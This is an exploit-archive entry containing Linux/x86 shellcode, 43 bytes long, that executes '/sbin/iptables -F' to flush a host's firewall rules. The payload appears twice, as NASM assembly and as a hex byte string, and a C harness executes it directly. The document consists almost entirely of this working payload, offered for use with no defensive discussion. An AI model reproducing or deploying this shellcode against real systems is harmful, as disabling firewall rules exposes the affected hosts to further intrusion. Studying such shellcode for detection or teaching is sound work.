ExploitFixes
Linux/x86 - iptables -F Shellcode (43 bytes) 2019-03-04 15:05:13

/**********************************************/
/* linux/x86 iptables -F Length: 43 bytes */
/* */
/* 03/01/2019 */
/* */
/* Author: Cameron Brown */
/* */
/* Email: [email protected] */
/**********************************************/

global _start

section .text

_start:
jmp short get
code:
pop ebx
cdq
mov [ebx+0xe], dl

lea eax, [ebx+0xf]
push edx
push eax
push ebx
mov ecx, esp

mov eax, edx
mov al, 0xb
int 0x80
get:
call code
file: db "/sbin/iptables#-F"


--------------------------------------------------


#include<stdio.h>
#include<string.h>


unsigned char code[] = \
"\xeb\x13\x5b\x99\x88\x53\x0e\x8d\x43\x0f\x52\x50\x53\x89\xe1\x89\xd0\xb0\x0b\xcd\x80\xe8\xe8\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x23\x2d\x46";

main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}